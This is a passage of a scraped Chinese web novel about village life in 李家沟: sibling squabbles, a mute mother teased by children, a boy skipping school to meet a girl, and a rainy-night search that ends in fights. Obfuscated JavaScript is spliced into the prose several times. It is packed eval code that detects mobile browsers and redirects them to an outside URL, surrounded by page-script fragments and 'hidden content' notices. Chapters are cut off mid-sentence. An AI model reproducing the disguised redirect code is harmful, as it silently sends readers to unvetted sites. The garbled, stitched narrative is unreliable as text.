这时,传家突然拍了一下传诚的脑袋,说道:“吃什么糖啊,爹在外面挣钱多不容易,能省就省点,别乱花钱!” 传诚顿时觉得有些委屈,嘟囔着对秀兰说:“娘,哥又欺负我!” 秀兰看了一眼传家,笑着对传诚说:“你大哥说得对,不能乱花钱。” 传诚不服气地反驳道:“哼,你就是偏心,两个哥哥平时买本子的时候,你都给钱让他们买,我想要个糖果都不行!” 传家听了,连忙解释道:“那你也可以买本子和笔啊!我现在还缺一支钢笔呢,我都没吭声呢,我想等爹回来了让爹给我买!” 一旁的传业也跟着附和道:“我也想要钢笔!” 传诚见状,眼珠一转,说道:“那我也找爹给我买糖吃!” 传家瞪着传诚,说了句:“你敢?!” 传诚却不以为然,反驳道:“大哥也太小气了!又不是让你给我买!” 这时,一直坐在一旁的杏花开口了,她微笑着说:“好啦,你们别吵啦。你们看咱院子里那棵大枣树,今年结了好多枣子呢!不如明天我们打下来一些,做个枣包吃,也是甜丝丝的,你们觉得怎么样?” 传诚一听,立刻高兴得手舞足蹈,像只小兔子一样蹦蹦跳跳,嘴里还不停地喊着:“好耶!好耶!还是奶奶对我最好了,有枣包子吃喽!” 而此时,云义在屋里听着传家和杏花的对话,心里愈发不是滋味。想起来往年,都是自己爬上树去,跟大哥一起摘着枣子,生着吃,熟着吃,怎么吃都开心!如今想到这些,只能感到内心的一阵苦涩!各种滋味交织在一起,让他感到无比的难受。 第二天清晨,云义草草地吃了几口饭,便迫不及待地再次踏上了前往新县的路途。 一到新县,他顾不上休息,径直奔向了云亭的坟墓。 跪在云亭的坟前,云义默默地将从家里带来的鞋子和衣服都放在了地上,然后点燃了它们。 “大哥,这是嫂子让我带给你的衣服和鞋子,家里一切都好,你不用担心。如果你在那边还有什么需要的,就托个梦告诉我吧,我一定会帮你办到的。”云义轻声说道,仿佛云亭就站在他面前一样。 第111章 “牛”老师的出现 且说这天早上,李家沟的太阳刚刚升起,空气中弥漫着淡淡的花香,小鸟叽叽喳喳的在枝头歌唱着…… 文孝早早地起床,召集了村里年轻的劳力们,准备在村子边上再挖掘一口井。 平日里,村里仅有一口井,村民们每天都要排着长队去挑水,这给大家的生活带来了不少不便。因此,文孝决定再挖一口更深的井,以解决用水问题。 李安硕、李万原和李大虎这几个年轻力壮的小伙子,自然也积极参与到了挖井的队伍中。他们手持工具,似乎已经迫不及待地想要为村子做出贡献。 与此同时,郭美娟正在家门口晾晒着衣服。她默默地忙碌着,阳光洒在她身上,映出她温柔的身影。李承月则在院子里玩耍,拨弄着一些小物件,偶尔发出几声清脆的笑声。 就在这时,村里的几个孩子路过郭美娟家门前,看到了她。他们像是发现了什么有趣的事情一样,立刻围拢过来,齐声唱起了一首童谣:“哑巴哑巴,偷人菜瓜,菜瓜掉了,哑巴笑了……” 这几个孩子一边唱着,一边围着郭美娟转着圈,脸上露出调皮的笑容。虽然这只是一首简单的童谣,但对于郭美娟来说,却有着特殊的意义。 郭美娟是个哑巴,无法用言语表达自己的感受。然而,当她听到孩子们的歌声时,她并没有生气或难过,反而真的看着那几个孩子笑了起来。 或许是因为孩子们的天真无邪,又或许是因为这首童谣的韵律让她觉得有趣,郭美娟的笑容中透露出一种宽容和善意。 其中一个孩子突然兴奋地喊道:“快看,哑巴她真的笑了!”仿佛发现了什么新奇的事物一般,其他几个孩子听到这话,也纷纷转过头去看向那个一直沉默不语的哑巴,果然,哑巴的嘴角微微上扬,露出了一个淡淡的笑容。 看到哑巴笑了,那几个孩子像是受到了鼓舞一样,唱歌的声音更加响亮、更加起劲了。 然而,在院子里的李承月也听到了。她觉得这群调皮捣蛋的孩子就像是在故意欺负他们。李承月的心中涌起一股愤怒,她无法忍受这些孩子对母亲的不尊重和戏弄。 于是,李承月毫不犹豫地随手拿起一根竹竿,气冲冲地从屋子里冲了出来,径直朝着那群孩子走去,手中的竹竿高高扬起,显然是想要给他们一个狠狠的教训。 那群孩子见状,吓得惊慌失措,连忙四散逃窜,嘴里还不停地喊着:“快跑啊,小哑巴生气了!” 李承月紧追不舍,一边跑一边怒喝道:“别跑,再敢来,看我不打死你们!”她的声音在院子里回荡,充满了愤怒和威严。 就在李承月快要追上那些孩子的时候,一只手突然伸出来,紧紧地拉住了她。李承月定睛一看,原来是母亲郭美娟。郭美娟一脸严肃地看着李承月,轻轻地摇了摇头,示意她不要这样做。 李承月气鼓鼓地把竹竿往院子里一扔,“那你说怎么办?我们难道就一直这样任由他们欺负吗?”她的声音中透露出一丝无奈和愤怒。 郭美娟则默默地站在一旁,低垂着头,似乎不知道该如何回应李承月的质问。这些年来,她早已习惯了这样的生活,对于孩子们之间的玩闹,她总是选择默默忍受。 就在这时,传诚突然出现在门口,他的手中拎着一个小篮子。李承月见状,立刻没好气地说道:“你来干什么?难道是专门来看我们的笑话不成?” 传诚连忙摆手,解释道:“不是不是,这是我们家院子里那棵大枣树上结的枣子,我娘说让我送一点过来,就当是……给你道歉的……”他的语气有些吞吞吐吐,显然对李承月的反应有些不知所措。 郭美娟嘴角挂着一抹淡淡的微笑,目光柔和地落在承月身上,轻轻地点了点头。承月见状,脸上的笑容也随之绽放开来,她爽利地说道:“既然你都已经诚恳地道歉了,那我就大人有大量,原谅你啦!” 这时,传诚突然插话道:“来,给,快尝尝这枣子,可甜啦!”他边说边将一篮子红彤彤的枣子递到了承月面前。 承月好奇地拿起一颗枣子,放入口中轻轻咀嚼,顿时,一股清甜的味道在口腔中弥漫开来。她不禁赞叹道:“嗯,真的好甜啊!” 与此同时,传家也没有闲着。他同样提着一篮子诱人的枣子,朝着文孝家走去。 当文孝看到传家拎着枣子出现在门口时,他热情地招呼道:“哟,传家来啦!快进来。” 传家笑着走进屋内,将枣子放在桌上,然后对大家说:“这是我家的枣子,可甜了,给你们尝尝。” 文孝看着满篮子的枣子,眼睛一亮,随即提议道:“大伙儿,要不咱们一人抓一把,分着吃了吧!”这个提议立刻得到了大家的响应,每个人都兴高采烈地伸手抓了几个枣子,放进嘴里慢慢咀嚼,享受着这甜蜜的滋味。 “谢谢传家啦!”大家纷纷向传家道谢,传家则微笑着回应。就在这时,传家听到他们在讨论去挖井的事情,传家听到后,心中一动,连忙问道:“我能不能也一起去看看啊?” 文孝有些无奈地说道:“挖井有啥好看的?你要是觉得无聊,就去找佳华一起玩耍嘛!我们这可是在干正经事呢,哪有闲工夫带着你们这些小屁孩啊!” 传家嘟囔着嘴,不满地反驳道:“我才不小呢……” 然而,他的话还没说完,就被周围的大人们一阵哄堂大笑给打断了。 传家的脸瞬间涨得通红,他觉得自己受到了嘲笑,心中十分气恼。于是,他二话不说,转身就气鼓鼓地往家走去。 文孝看着传家离去的背影,无奈地摇了摇头,然后继续带着其他几个男人出发去村边上挖井去了。 时间一分一秒过去,太阳渐渐西沉,天空也慢慢被黑暗笼罩。文孝抬头看了看天色,觉得今天的工作也差不多该结束了。 他擦了擦额头上的汗水,对着身边的人喊道:“天色已经这么黑啦,哥儿几个,要不今天就先到这儿吧,明天咱们再接着干!” 众人纷纷点头,表示赞同。 文孝见状,热情地邀请道:“既然如此,那大家都别忙活了,一起到我家去吃个便饭吧!这样也免得你们回家后还得麻烦你们的婆娘做饭呢!” 其他人听了,都觉得这个提议不错,于是纷纷点头应和。 就这样,一行人说说笑笑地朝着文孝家的方向走去。 然而,当他们路过一个柴垛子时,突然听到里面隐约传来一阵男女的声音。这声音在寂静的夜晚显得格外突兀,让所有人都不由得停下了脚步。 一群人都面面相觑,脸上露出疑惑的神情,纷纷交头接耳地议论着:“这声音到底是从哪儿传来的呢?” 他们停下脚步,竖起耳朵,全神贯注地倾听着周围的动静。然而,除了偶尔传来的风声和远处的犬吠声,并没有其他异常的声响。 就在大家都开始怀疑自己是不是听错的时候,李大虎突然惊讶地叫道:“咦?刚才那声音怎么听着那么像我家豆宝的声音啊!” 文孝听了,于是附和道:“说不定真是豆宝出来找你回家吃饭呢!” 李大虎心中一动,连忙大声呼喊:“豆宝,是你吗?是你出来找我了吗?” 他的声音在夜晚的村子里回荡着,显得格外响亮。然而,让人意想不到的是,他的呼喊过后,四周竟然突然变得异常安静,连一丝风声都听不见了。 李大虎不禁有些纳闷,自言自语道:“难道真是我听错了不成?” 其他几个人虽然也觉得有些奇怪,但他们对刚才听到的声音还是比较确信的,尤其是那柴垛子附近,似乎真的有人在那里。 于是,李万原胆子比较大,他自告奋勇地说:“我过去看看吧!”说罢,便大步流星地朝着柴垛子的方向跑去。 李万原惊讶地喊道:“哎呀,还真是豆宝啊!”他的声音突然响起,仿佛打破了某种平静。紧接着,其他人像是被他的话语吸引,纷纷跑了过来。 就在这时,人们看到了一个令人意想不到的场景——一个女孩子正害羞地躲在李豆宝的怀里,她的头深深地埋进他的胸膛,似乎生怕被别人发现。李豆宝显然也有些紧张,他的身体微微颤抖着,不知道该如何应对这突如其来的情况。 李大虎见状,立刻喝问道:“李豆宝,你在这儿干什么?那个丫头又是谁?”他的声音带着一丝严厉,显然对眼前的状况感到不满。 听到李大虎的质问,那个女孩子像是受到了惊吓,她捂着脸,像只受惊的兔子一样,飞快地跑开了。她奔跑的方向,正是隔壁村子,王家村的方向。 李豆宝紧张地看着几个大人,结结巴巴地解释道:“爹,我……我就是……”他的话语有些含糊不清,显然还没有想好该怎么说。 然而,几个男人却没有在意他的解释,反而哈哈大笑起来。李万原调侃道:“可以啊,豆宝真是了不起啊,豆宝比你爹有本事啊!大虎,你儿子长大了,都会自己个儿找媳妇儿了,你可真是省心啊!” 李大虎此时可没有心情跟他们一起说笑,他脸色阴沉,一把揪住豆宝的耳朵,毫不留情地将他提溜着回了家。 几个人看着眼前的一幕都哈哈大笑,文孝面带微笑地说道:“既然这样,那就别管他了,咱们几个一起去我家里吃顿简单的饭吧!” 然而,就在这时,其他人纷纷开始推脱起来,有人说道:“还是不去了吧,估计家里的婆娘们都已经把饭做好了呢!” 几人见状,都表示回自己家去了! 李大虎拖着李豆宝往家走去。李豆宝一边被拖着走,一边嘴里不停地叫嚷着:“哎呀,你轻点啊,耳朵都被你揪得好疼啊!” 一到家门口,王小凤听到动静,立刻像一阵风似的冲了出来。她瞪大眼睛,对着李大虎喊道:“你这是干啥呀?有什么话不能好好说吗?非得动手动脚的!” 李大虎没好气地回答道:“你问问他,天都黑了,他还钻进那柴火垛子里干啥呢?” 王小凤转过头,看着李豆宝,责备道:“哎哟,你不是说去找你爹吗?怎么跑到那柴火垛子里面去了呢?你不嫌热啊!万一有虫子啥的咬你一口……” 李大虎故意惊讶地喊道:“可不是嘛!好大个女长虫啊,都钻进怀里去了!”他的声音中透露出一丝震惊。 王小凤闻言,脸色瞬间变得苍白,她紧张地问道:“啥?真有长虫啊?那多吓人啊,豆宝,咬伤没有啊?以后可别去那种地方了!”她的声音充满了担忧,显然对长虫这种生物有着深深的恐惧。 李豆宝连忙解释道:“什么女长虫,那是我同学……”。 王小凤一脸的懵,她完全没有理解李大虎和李豆宝说的意思,嘴里嘀咕:“你们这说的都是啥跟啥啊!”她疑惑地看着李豆宝,等待他进一步的解释。 李大虎也插嘴道:“同学?”他同样对李豆宝的话感到意外,什么正经同学会大半夜的出来私会他儿子。 李豆宝无奈地叹了口气,继续说道:“嗯,就是有个题不会,人家过来问下我!看你们几个把人家给吓得!”他的语气中带着些许不满,觉得父亲有些大惊小怪。 李大虎挠了挠头,似乎还是有些难以置信,追问道:“真是这样?” 李豆宝肯定地点点头,回答道:“那还用说嘛!不是那样还能是哪样?”他的态度坚决,希望能让大家相信他的解释。 李大虎突然感到一阵尴尬和窘迫,心里暗自琢磨着,难道真的是自己想多了?毕竟豆宝才十五岁,虽然年龄不算小了,但说到底还是个孩子呢。也许真 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男人嘴角微微上扬,露出一个和善的笑容,自我介绍道:“哦,真是不好意思,我还没来得及介绍自己呢。我是李豆宝的老师,我姓牛!” 王小凤一听,心中顿时恍然大悟,连忙说道:“哎呀,原来是刘老师啊!刘老师,您快请进屋里坐吧!”说着,她热情地要将牛老师迎进屋内。 李大虎也赶紧跟上前去,笑着说道:“刘老师,您快进来吧,别在门口站着了!” 然而,牛老师却一脸无奈地纠正道:“不是那个刘,我姓牛!” 王小凤似乎并没有在意牛老师的纠正,依然热情地说道:“哎呀,我知道您是刘老师啦,您就别在门口站着了,快进来坐吧!” 牛老师一脸无奈地缓缓走进院子,仿佛心中有千斤重担一般。院子里,王小凤快步迎上前去,脸上露出热情的笑容,并迅速端上了一杯热气腾腾的茶,轻声说道:“刘老师,您辛苦了,请喝茶!” 牛老师嘴角微微一抽,露出一丝苦笑,他有些无奈地纠正道:“谢谢!我……姓牛……” 站在一旁的李大虎听到牛老师的话,连忙插嘴道:“哦,对对对,我们都知道了,刘老师,您这次来我们家,是不是我们家豆宝在学校里惹啥事儿了?” 牛老师摆了摆手,叹了口气说道:“刘就刘吧!先不说这个,我今天来主要是想跟你们谈点正事。你们家豆宝已经有三天都没来上学了,我就是想问问,到底是因为什么原因呢?” 李大虎和王小凤听了这话,都不禁露出一脸惊讶的表情,异口同声地喊道:“什么?豆宝没去上学?” 这突如其来的消息让李大虎母子俩都有些摸不着头脑,他们面面相觑,心中充满了疑惑。早上明明看到豆宝像往常一样背着书包出门了啊!怎么会没去上学呢?这孩子到底去哪儿了呢? 李大虎一脸茫然地挠了挠头,结结巴巴地说道:“这……这我哪儿能知道啊?这几天我每天都跟平常一样,早上起来洗漱完就去上学,一直到那吃饭的时间点儿才会回家呢!” 一旁的王小凤也赶忙附和道:“是啊,刘老师,他每天都跟平时没啥两样,我也没发现有啥不对劲的地方啊!” 牛老师听了他们的话,不禁皱起了眉头,满脸狐疑地说:“可是他这几天确实都没有来上学呀,我还以为是你们家里有啥特殊情况,不让他来上学了呢!” 李大虎一听,连忙摆了摆手,语气有些急切地解释道:“那怎么可能呢,刘老师,我肯定不会不让他上学的呀!您放心,我这就去找他,等我找到他之后,一定把他给揪回来,让您好好教育教育他!” 牛老师见状,连忙站起身来,摆了摆手说道:“那倒不用了,明天让他继续来上课就行了!我学校里还有些事情需要处理,就先回去了!” 王小凤见牛老师要走,急忙上前挽留道:“刘老师,您别着急走啊!再坐会儿,喝杯茶吧!” 牛老师微笑着婉拒道:“我真的有急事,得先走了!” 说完,牛老师便急匆匆地走出了李大虎家的大门,仿佛有什么急事在等待着他去处理。他的步伐显得有些匆忙,甚至有些慌乱,似乎想要尽快离开这个地方。 站在门外,牛老师深深地叹了一口气,那叹息声中透露出一种无奈和忧虑。他缓缓地摇了摇头,嘴里喃喃地念叨着:“哎……”这声叹息仿佛包含了他对李豆宝的担忧,以及对这家人的无奈。 李大虎站在原地,茫然失措地看着牛老师离去的背影,心中充满了焦虑和疑惑。**自己应该去哪里寻找李豆宝,这个问题让他感到十分困扰。 他站在路口,焦急地等待着,希望能看到李豆宝的身影出现。 就在这时,传家和佳华一起有说有笑地走了过来。李大虎见状,如获救星一般,急忙迎上前去,拉住传家和佳华问道:“我家豆宝在哪儿呢?你们见过没?” 传家和佳华相互对视了一眼,脸上露出一丝惊讶的表情。他们迟疑了一下,然后回答道:“几天都没看到过他了!” 李大虎的脸色瞬间变得凝重起来,他追问道:“他明明每天都出门上学的啊!你们在路上也没遇到过?” 佳华摇了摇头,说:“这我们不清楚,没注意!” 李大虎不甘心,又询问了村里的其他几个孩子,得到的回答却都是一样的——几天都没看见过豆宝了!这个结果让李大虎的心中越发地不安起来,他开始胡思乱想,不知道李豆宝每天出门到底都去干什么了。 越想越觉得不明白,李大虎决定不再继续等待下去。他一扭头,脚步匆匆地朝着家里走去,心中暗想,等会儿这小子恐怕自己会回来的! 第112章 逃课 刚踏进家门,王小凤就看见李大虎一脸愁容,仿佛遇到了什么**烦。 “咋了这是?回来就这个鬼样?没找着豆宝?”王小凤焦急地问道。 李大虎无奈地叹了口气,回答道:“娘,我刚也问了村子里好几个孩子了,根本就没有人知道他在哪儿!” 王小凤的眉头皱得更紧了,她忧心忡忡地说:“这……那他天天干啥去了啊?” 李大虎的脸色愈发阴沉,他咬牙切齿地说:“等下他回来,看我不好好收拾他!” 然而,王小凤却突然拦住了李大虎,她若有所思地说:“他既然都能瞒着咱们这么久,你就不想看看他都干啥去了?” 李大虎疑惑地望着王小凤,不明白她这句话的意思。 王小凤见状,连忙解释道:“嗨,今天咱们就还当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243419|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做完全不知道这回事儿 ******后面还有5964个字内容被隐藏了****** ******后面还有5964个字内容被隐藏了****** loadBookInfo(17, 27967, 26353476,''老李沟的故事''); 第113章 老将出马 王小凤闻言,气得浑身发抖,她瞪着李豆宝,恨铁不成钢地骂道:“你这小兔崽子,真是越来越不像话了!不读书你还能有啥出息?咱们家祖祖辈辈都没出过一个有本事的人,我还指望着你能给咱家争口气呢!” 李大虎也在一旁附和道:“就是!你必须给我去上学,听到没有?还有你,”他转头看向王玉露,恶狠狠地问,“你爹是谁?快说!” 王玉露被李大虎凶神恶煞的样子吓得不轻,她战战兢兢地回答道:“我爹……我爹是王永祥……” 李大虎一听,顿时愣住了,他难以置信地重复道:“什么?你说谁?” 王小凤跟着重复道:“她说她爹是王永祥……” 一旁的李大虎听到这句话,不禁插嘴道:“那个寡妇的女儿?” 王小凤闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250056|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言,猛地一巴掌拍在 ******后面还有6110个字内容被隐藏了****** ******后面还有6110个字内容被隐藏了****** loadBookInfo(17, 27967, 26422064,''老李沟的故事''); 第114章 闺女大了不由娘 秋容心里只有一个念头在不断盘旋:“这丫头真是长大了,翅膀硬了,真是闺女大了不由娘啊!玉露如今都已经十六岁啦,也到了该谈婚论嫁的年龄了。永祥还在世的时候,那可是把玉露当成亲生闺女一样疼爱着呢,对她简直是百般呵护啊!” 回想起往事,秋容不禁感慨万千。那时的她,其实心里并不太希望玉露去读太多的书,毕竟女孩子嘛,将来总是要嫁人的。可永祥却不这么认为,他总是说:“这丫头可一点都不比那些小子们差呢,让她去学点知识,说不定以后也一样吃上公家粮呢!” 然而,如今的玉露却让秋容越来越失望。她不仅越来越不听话,甚至连路都快要走歪了!秋容看在眼里,急在心里,她觉得现在唯一的办法就是赶紧给玉露找个好人家嫁出去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253540|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ******后面还有5903个字内容被隐藏了****** ******后面还有5903个字内容被隐藏了****** loadBookInfo(17, 27967, 26466454,''老李沟的故事''); 第115章 雨夜…… 秋容心急如焚,不顾倾盆大雨,在村子里四处寻找女儿的踪迹。她的衣服早已被雨水湿透,头发也凌乱不堪,但她毫不在意,心中只有对女儿的担忧和焦虑。 就在这时,王国柱撑着一把雨伞出现在王永航面前。他一边喊着“爹”,一边快步向王永航走来。 王永航听到儿子的声音,转过头来,惊讶地问道:“你怎么也出来了?” 王国栋喘着气说:“这么大的雨,您都不带一把伞,我担心您啊!”说着,他将手中的雨伞递给了王永航。 王永航接过雨伞,感激地看了儿子一眼,然后说道:“你去桃树林子那边找找,我去找找你婶子,看看她有没有找到玉露。” 王国栋点点头,转身朝着桃树林子的方向跑去。王永航则朝着另一个方向走去,寻找着秋容。 雨越下越大,天地间一片迷蒙。王永航深一脚浅一脚地走着,心中默默祈祷着能尽快找到玉露。这时候,他在村子的一角看到了秋容的身影。 王永航心急如焚,他三步并作两步,如疾风一般冲向秋容,生怕她被雨淋到。眨眼间,他便来到了秋容身边,迅速撑开雨伞,稳稳地举在秋容的头顶上方。 他满脸忧虑,焦急地问道:“找到玉露了吗?”声音中透露出一丝急切。 秋容缓缓地摇了摇头,她的眼眶早已湿润,泪水像断了线的珠子一般,与雨水交织在一起,顺着她那苍白的脸颊滑落。 王永航见状,连忙安慰道:“别着急,弟妹,国栋也和我们一起在找玉露呢,大家都很担心她。我们这么多人一起找,肯定很快就能找到她的!” 然而,秋容的情绪并未因此得到缓解,她忧心忡忡地说:“大哥,我觉得玉露可能是去李家沟找那个叫豆宝的了!这可怎么办啊!” 王永航眉头一皱,疑惑地问:“弟妹,你能确定吗?大晚上的,她去李家沟干什么呢?” 秋容一时语塞,她自己也说不清楚玉露为何会在这个时候去李家沟。沉默片刻后,她决定道:“大哥,你先回家去吧,我自己去李家沟看看。” 王永航一脸关切地说道:“你这说的什么话呀?大晚上的,你一个人出去多不安全呐!我跟你一块儿去,有我在,你就放心吧!” 秋容见他如此坚持,也不好再推脱,便默默地点了点头。于是,两人共撑着一把伞,缓缓地朝着李家沟的方向走去。 然而,天公似乎并不作美,雨势越来越大,豆大的雨点砸在伞面上,发出噼里啪啦的声响。他们艰难地在雨中前行,脚下的路也因为雨水的浸泡而变得湿滑不堪。 好不容易走到了李家沟村口,突然,一只体型巨大的狗从黑暗中窜了出来,对着他们狂吠不止。那狗的叫声震耳欲聋,仿佛要把他们撕碎一般,秋容被吓得脸色煞白,王永航急忙伸手拉住秋容,闪身躲进了旁边一家的屋檐下。 由于动作太过仓促,两人的身体紧紧地贴在了一起。雨水早已将他们的衣服湿透,此刻,那湿漉漉的衣物紧紧地贴在秋容的身上,勾勒出她那凹凸有致的身材曲线,若隐若现,引人遐想…… 而秋容额头上的发丝也被雨水打湿,一绺一绺地贴在脸颊上,水珠顺着发梢不断地滴落,更衬得她如出水芙蓉般清丽动人。 王永航的目光完全被秋容吸引住了,他情不自禁地伸出手,轻轻地抚摸着秋容那如丝般柔滑的脸颊。 秋容突然感到一阵慌乱,她迅速扭过头去,脸上泛起一抹羞涩的红晕,轻声叫道:“大哥……” 王永航如梦初醒,意识到自己的行为有些不妥,他尴尬地笑了笑,连忙解释道:“抱歉!你脸上有水珠,我只是想帮你擦掉……” 秋容急忙拿起袖子,转过身去,用衣袖擦拭着自己的脸颊,同时说道:“大哥,你的衣服也湿了!你不该陪着我一起出来的,等下嫂子更要生气了!” 王永航满不在乎地笑了笑,说道:“这点雨没关系的,倒是你,等下别感冒了才是!”然而,他的眼睛却不由自主地落在了秋容那被雨水湿透的衣服上。 秋容的每一次呼吸,都使得她的胸脯上下起伏,王永航的目光也随着她的呼吸而移动,仿佛看到了一幅美人出浴图。那水珠顺着秋容的下巴滑落,流过她修长的脖颈,最终浸湿了那件湿透的衣服,更衬得秋容那火辣的身材,呼之欲出。 就在此时此刻,李豆宝和王玉露两人正撑着雨伞,沿着另一条僻静的小巷子,朝着家的方向悠然前行。由于他们选择了不同的路线,因此彼此之间并未碰面。 然而,当李豆宝和王玉露路过那片繁茂的桃树林时,意外发生了。王国柱恰好就在这片桃树林子里面寻找王玉露,正巧将这一幕尽收眼底。 他突然间如脱缰野马一般,从半道上疾驰而出,径直冲向李豆宝,二话不说,抬脚便是狠狠的一踹! 这一脚犹如雷霆万钧,李豆宝猝不及防,根本来不及做出任何反应。他就重重地摔落在地上。 李豆宝年纪尚小,与王国柱相比,无论是体力还是反应速度都稍逊一筹。更糟糕的是,他完全没有预料到会遭受这样的袭击,因此毫无防备。这一脚的威力可想而知,李豆宝被踢得七荤八素,一时间竟然无法从地上爬起来。 还未等李豆宝回过神来,王国柱的怒骂声便如暴风骤雨般袭来:“好啊,原来是你这个不知天高地厚的臭小子,大半夜的竟敢骗走我妹子!”话音未落,王国柱的拳头也如雨点般落在了李豆宝的身上。 王玉露突然如梦初醒般,连忙喊道:“哥,你搞错啦!这件事跟他一点关系都没有,是我自己跑出去找他的!” 王国柱一听,顿时火冒三丈,怒不可遏地吼道:“这么大的雨,我们全家人都急得像热锅上的蚂蚁一样,到处找你,你倒好,不仅不领情,还帮着这臭小子说话!” 王玉露眼见哥哥如此生气,心里也有些害怕,但她还是坚定地说:“哥,你别再打他了,有什么事你冲着我来好了!” 王国柱见状,虽然心中的怒火并未平息,他转头看向王玉露,语气严厉地说:“我说妹子啊,你这大晚上的到底在搞什么名堂?你就算是胡闹,总得有个限度吧!” 然而,就在王国柱话音未落之际,突然之间,李豆宝猛地挥出一拳,直直地打在了王国柱的脸上。 “我叫你打我!”李豆宝怒目圆睁,满脸怒容地吼道。 这突如其来的一拳,让王国柱完全没有防备,他只觉得脸上一阵剧痛袭来,身体也不由自主地向后踉跄了几步。 而李豆宝则趁势而上,与王国柱再次扭打在一起,两人你一拳我一脚,互不相让,场面瞬间变得混乱不堪。 且说李大虎这边,正沉浸在甜美的梦乡之中,呼噜声此起彼伏。突然,一阵急促的摇晃将他从睡梦中硬生生地拽了出来。 “快起来!”王小凤的声音在他耳边炸响,仿佛一道惊雷。 李大虎睡眼惺忪,一脸迷茫地嘟囔道:“这不是天还没亮吗?叫我起来干啥!” 王小凤焦急地解释道:“刚才王家那丫头又来找豆宝了,我让豆宝把她给送回去。可是外面天又黑,又下着雨,我担心豆宝一个人不安全,所以想让你去接应他一下!” 李大虎一听,顿时清醒了过来,他一边抱怨着:“咋不早些叫我!”一边迅速穿上鞋子,顺手抓起一把雨伞,如离弦之箭一般冲出了门。 好巧不巧,李大虎刚走出家门,就听到附近传来一阵狗叫声,那声音叫得可真厉害啊!不免心里有些好奇,这大晚上的,是谁家的狗叫的这么凶呢?于是就顺着声音走过去一瞧,哎呀妈呀,这一看可不得了,居然是白天见过的王家寡妇! 不过说实在的,这王家寡妇可比白天遇见的时候漂亮多了呢!白天的时候她虽然也算得上是个美人儿,但绝对没有像现在这样,犹如出水芙蓉一般,娇艳欲滴,让人看了就忍不住心动……只可惜啊,这么漂亮的一个女人,旁边竟然还有个碍眼的男人!而且那个男人看起来年纪比自己年纪还要大不少呢! 李大虎心里想着,这家伙怎么会和王家寡妇在一起呢?心里暗自琢磨着,难不成他们俩之间有什么不可告人的秘密? 这时候,李大虎阴阳怪气地说道:“哎呀呀,这不是那王家寡妇嘛!还真是有其母必有其女啊!瞧瞧,这大半夜的,居然跑到我李家沟来私会男人了,怎么着?是怕被王家那边的人发现还专门换个地方吗?” 王永航一听这话,顿时就火冒三丈,这人说话也太过分了吧!他一脸怒容地说道:“你是谁啊?怎么能这样讲话呢?” 王永航的话还没说完,一旁的秋容就连忙说道:“你不要胡说!我是来找我女儿的,我女儿到底在不在你家里?” 李大虎嘴角泛起一抹嘲讽的笑容,说道:“哈哈,真是太好笑了,你女儿怎么可能会在我家里呢?白天的时候,可是你亲自把你女儿带回去的,难道这会儿你又要怪罪我儿子对你们做了什么吗?” 王永航脸色阴沉,他的声音带着一丝怒意,“少废话!我只问你,玉露到底在不在你家里?” 李大虎挑了挑眉,满不在乎地回答道:“在不在我家跟你有什么关系?诶,我说你们俩可真会玩啊,浑身都湿透了,这是去河里洗澡了还是怎么着?” 王永航的怒火瞬间被点燃,他扬起手,想要给李大虎一个耳光,但李大虎却灵活地侧身躲开了。 李大虎见状,不仅没有收敛,反而更加放肆地嘲笑起来:“哟呵,我说妹子,这人脾气还挺大啊!不过呢,就算你再怎么饥渴,也不能找这样的男人啊,你看看他这身子骨,也太差劲了点儿吧!” 秋容急忙解释道:“你真的误会了,他是我大哥,不是你想的那样……”然而,王永航却在气头上,他怒不可遏地吼道:“别跟这种人废话,胡言乱语,看我怎么收拾他!” 说时迟那时快,王永航挥舞着拳头,气势汹汹地朝李大虎扑去。可惜的是,王永航的年纪比李大虎要大上许多,体力和反应速度都远不如李大虎。只见李大虎轻松地侧身一闪,便躲开了王永航的攻击。紧接着,李大虎飞起一脚,狠狠地踹在王永航的肚子上。 王永航被这一脚踹得连连后退,一个踉跄摔倒在地。李大虎见状,立刻上前又是几拳,打得王永航毫无还手之力,不一会儿就被打得他趴倒在地,嘴角还渗出了一丝鲜血。 秋容见状,心急如焚,她连忙冲上前去,扶起倒在地上的王永航,关切地问道:“大哥,你没事吧?快起来!”王永航痛苦地呻吟着,用手捂住受伤的部位,艰难地从地上爬了起来。 秋容转过头,愤怒地对李大虎说道:“你这个人到底怎么回事?我们不过就是问一问我女儿在不在你家里,你怎么就把人打成这样?” 李大虎一脸委屈地说道:“诶,你可别乱说啊,明明是他先向我动手的,还不允许我还个手了!” 秋容赶忙打圆场道:“好啦好啦,就当是我们错了,我向你道歉就是。但是你能不能告诉我,你到底有没有见过我女儿啊?” 李大虎点了点头,回答道:“见过啊,刚才她确实来找我们家豆宝了!” 